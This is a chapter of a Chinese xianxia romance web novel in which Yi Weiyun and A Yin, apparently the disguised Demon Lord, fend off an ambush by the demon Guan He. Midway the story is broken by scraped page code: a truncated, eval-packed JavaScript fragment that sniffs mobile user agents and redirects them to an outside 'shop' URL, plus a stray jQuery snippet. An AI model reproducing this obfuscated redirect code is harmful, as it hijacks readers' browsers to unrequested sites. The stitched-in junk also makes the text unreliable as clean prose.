易未昀醒来之时,天色已然大亮,她这一觉似乎睡的很沉。
习惯性的转过头,阿吟正单手托腮,侧着身子注视着自己。
易未昀眨了眨眼,没想到今日阿吟也没起。
“你怎么也赖床了。”她缓缓起身,揶揄道。
阿吟换了一个更加舒适的姿势,仍然半躺在床上,没有想要起身的动作。
她的蓝眸透亮,倒映出了易未昀的面庞。不知怎么的,易未昀总觉得身旁之人仿若无骨,无甚表情的面孔反倒是平添了几分......媚意。
她被自己大胆的想法惊到了,那日鬼界的梦境原本都快要忘了,今日却又在易未昀的脑海中变得清晰起来......
或许她执着地想要跟着阿吟,不仅是想抱上一条大腿,还有一个原因,便是那场......荒唐梦。
双颊在不经意间微微发烫。
同床共枕果然会坏事!易未昀有些恼怒,她到底在想些什么呢,对方明明就是正经地躺着,哪有这些有的没的......
那场梦肯定是鬼主故意捉弄她才设下的,害得她的思绪总被扰乱。
易未昀很满意这个理由,双颊的红晕逐渐消退,她扭过头,披上外袍,下了床。
谁料身下竟压到了阿吟腰间系着的绸缎,衣带就这么松散开来,忽觉不对,易未昀转过身,入眼便是......
散落的衣袍,玉肩琼肤,还未消退的淡红伤疤,以及......带有戏谑的眼神。
原本褪去的红晕再度浮现,易未昀感到有些口干舌燥的,不禁抿了抿唇,不知道该说些什么好。
她总觉得这场景有点眼熟......
“额......抱歉啊......”易未昀语塞,磕磕巴巴地说了声抱歉。
阿吟微微眯起双眼,嘴角勾起了一个若有若无的弧度。如此散漫不羁的淡笑,出现在她的脸上,倒是相配的很。
“伤,没好全,有点疼。”面前侧着身子的人不紧不慢地说道。
“什么?”易未昀一愣。
“你不是问我,为什么赖床么。”
问出口的话竟然忘了,易未昀讪讪一笑,随即突然反应过来,连忙靠近阿吟:“你现在感觉怎么样?不行......我再去想办法弄点丹药来。”
说罢,她作势要走,谁料身后之人将她一把拉了回去,没想到阿吟会这么做,易未昀毫无防备地跌回了床榻间!
对方温热的气息扑洒在易未昀的后颈间,她不禁一个颤栗:“......怎,怎么了?”
“你是在担心我吗?”
阿吟的语气平平,像是在一本正经地追寻问题的答案一般。
易未昀默默与她拉开了一小段距离:“当然,你是因为我才受伤的。”
原来只要受伤了,易未昀就会担心她,心疼她......阿吟暗自记下了这点。
“把衣服穿好吧,小心......感染风寒。”说罢,易未昀将衣带递给她。
忽觉手背滑过一丝柔软,阿吟的指尖蹭过她的皮肤,用食指将衣带挑了过去。
易未昀不明白自己今天是怎么了,总觉得身旁之人的一举一动都令她草木皆兵。她打算出门冷静一番,顺便在洞府外布置个御敌阵法,好以备不时之需。
看着她略显仓皇的背影,床榻上那人眼皮微垂,默默将触及到对方皮肤的指尖放到了唇边,若有所思......
易未昀来到洞府外不远处的空地,清风拂面,让她觉得清醒了不少。
她照着先前阿吟加固阵法的模样,在空地间聚起了一个不大不小的幻阵,阵眼泛着暗黄色,一圈圈地向外蔓延,看着还挺唬人的。
但易未昀清楚地知晓自己对于魔族的阵法知之甚浅,还得请教阿吟,可思及刚才的尴尬气氛,她停住了往回走的脚步。
反正不着急,就先自己研究一下算了。
正思考着该如何将阵眼完全隐藏起来,原本平静无波的幻阵竟然开始抖动起来!
易未昀突然有点后悔,早知道就去求助阿吟了......
她连忙向阵内注入灵力,可怎么都无法修复濒临破碎的阵法。
易未昀很快便意识到,并非是她布阵的问题,而是有人闯入,此刻正躲于暗处。
“谁!”
四周风停,云层交替,似有落雨之势。
易未昀警惕地环顾四周,就在她回头之时,一张带着坏笑的脸猛地进入她的视线!
“小美人,反应挺快的嘛。”
即便是夜里看的不真切,此时易未昀还是立马认出了此人。
大魔,观荷。
易未昀暗道不妙。
她早料到这女人不会就这么放过她这个目击者,只是没想到她会那么快找上门,还是堂而皇之的出现......
在魔族,屠戮同胞似乎不是什么稀罕事。
易未昀下意识地握紧阿吟给的长剑,保持镇定:“我什么都没看到,不会乱说话的,你没必要来找我的麻烦。”
她主动示弱,毕竟大魔可不是她这个练气期魔修惹得起的。
闻言,观荷脸上的笑意逐渐褪去,盯向易未昀的眼神变得凌厉起来。
“小美人,爱说谎,就不可爱了。”
“我没有说谎。”易未昀的大脑疯狂运转,为表诚意,她试探着开口道,“我......会把捡到的链子还给你,这样够有诚意了吧。”
谁料对方根本不为所动,没好气道:“你还真是......脸不红心不跳的说瞎话啊。”
“昨夜,你明明已将看到的一切都告诉魔尊了!害得我险些被剥了皮!小美人,你可真够可以的。”
??易未昀被她说糊涂了,她昨夜回了洞府,便在那啃着阿吟烤的喷香的兔肉,何来告密一说?
再说了她上哪去找魔尊?要是她有这本事接近贺无吟,早拼了命把她大卸八块报仇雪恨了。
“我虽不知你用的什么法子告的密,但既然你的胆子这么大,连本座都不放在眼里,就没必要在外门待下去了。”
说罢,观荷大手一挥,豹妖的灵体凭空出现在易未昀跟前,瞬间朝着她扑去!
易未昀慌忙向后退去,手中长剑跟摆设一般,直直穿透了兽灵,未能造成半点伤害......
危机时刻,腰间令牌发烫不止,正提醒着令牌的主人,还有一线生机。
不做她想,易未昀急忙将令牌捏在手心里。
下一刻,豹妖周身魔气尽显,嚎叫着再度冲向易未昀,身后驭灵之人杀意毕露!
“咔吱”一声,一旁的粗树干受到横向重击,瞬间被切成了两段,径直砸向观荷,驭灵受到干扰,雪豹的攻势被迅速削弱!
在此间隙,易未昀被一怀抱紧紧包裹,向后一跃,两人稳稳落地,眼看原先站立之处已被魔气凿出了一个大坑。
易未昀感到阿吟搭在她手臂上的手紧了紧,随即缓缓松开。
“阿吟,你不该来,你的伤还没好!”虽是耳语,但言语急切。
见身后之人不回话,易未昀蹙起眉,随后向前跨了一步,挡在阿吟跟前,一扫原先谨慎小心的模样,眼神犀利地瞪向观荷。
她得护着阿吟,不能再让阿吟受伤了。
在她的身后,“被护着”的那人眸光微动。
让易未昀感到奇怪的是,眼前的大魔神色忽然变得极度复杂,夹杂着难以置信,不解,懊悔,无语......
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048920|194786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>难不成这大魔还真被她这气势给唬住了?不应该吧......
从前她还是云台上仙时,确实有很多人见了她大气都不敢喘,可她现在不过是个低阶魔修罢了。
观荷真就一动不动地在两人面前罚站,张着嘴,却发不出任何声音。
她心中呐喊,这煞神怎么跑外门来了??
不得不说,对方这般被震慑住的模样,易未昀还挺受用的,她不禁挺起胸脯,执剑指向观荷。
“你......”憋了半天,对方就憋出了这一个字来。
在易未昀看不见的地方,身后之人面露狠意,蓝眸似刃,看向观荷的眼神充满警告意味,示意她想好了再开口。
“......得,算我倒霉。”
观荷小声嘀咕了一番,心道自己被耍的团团转不说,还得陪某人将这出戏演完,当真是......命苦。
可谁叫她打不过这疯子呢,谁叫她在人家的屋檐底下讨生活呢。
如此说来,她倒是真错怪了那小美人了。
“今日别说是你们两个,即便是魔尊亲自来了,本座也要取了你的性命!”观荷心中暗叹,自己的演技还是太出色了。
见对方再度运功,易未昀旋身跳入原本布下的濒临破碎的阵法之中,还不忘将阿吟护在身后。
阵法破碎之时,必有规模不小的爆炸发生,只有借此机会逃跑了。
地面不断震动,见状,易未昀转过身,阿吟没什么血色的面孔映入眸中,这让她的心脏一揪。
不再犹豫,易未昀向前一步,展开双臂,环抱住了面前之人。
“......”
阿吟的瞳孔猛然一缩,双手僵在了空中。
“这次,换我护你。”
易未昀语气镇定,只有以身抵挡,阵法炸开的碎片才不会伤到阿吟,两人再趁机逃跑。
兽灵冲来的瞬间,易未昀即刻引爆阵法!
预料中的刺痛感并未袭来,易未昀猛地抬头,只见阿吟周身散发魔气,硬生生垒起了一个屏障,将碎片统统抵挡在外。
“阿吟,别耗费修为了,你的伤还没好!”
然而对方仍然不收手。
易未昀有点生气,她为什么就是不愿意听自己的话。
“阿吟,我告诉你,阵法的炸伤远不及我从前受的伤的千分之一,我可以承受,收手吧!”
阿吟仍然维持着屏障,无论易未昀怎么劝都没用,只能由她去了。
找准时机,两人飞身跃起,在一片混乱之中,与观荷拉开了较远的距离。
见观荷仍然不愿收手,易未昀神色一沉,动用内力朝她喊道:“既然你都知道了我与魔尊关系匪浅,便该想清楚了,若是我出事,她定然不会放过你。”
“你的驭魔链在我的手上,大不了鱼死网破!你要不要试一试。”
山风吹起了易未昀的衣角,坚毅的面庞与上位者的语气让观荷愣了愣。
见对方不再穷追不舍,易未昀连忙拉着阿吟离开了这个是非之地。
两人满身狼狈地躲入了兽林中。
还未来得及松口气,一阵血腥味传来,易未昀忙转过头,入眼便是鲜血从阿吟的嘴角流出,滴落到了衣襟上。
“为什么不听我的?你......”易未昀不禁有些气闷,她知道阿吟担心她受伤,可这同样也看轻了她。
受点外伤在易未昀眼中根本不算什么。
可重话确是说不出口,对方无甚表情,不言不语的模样,显得有些......可怜。
“你说的,只要我受伤,你就会心疼。”阿吟平静地回应道。
所以阿吟是为了......让她心疼,才故意让自己的伤势加重的???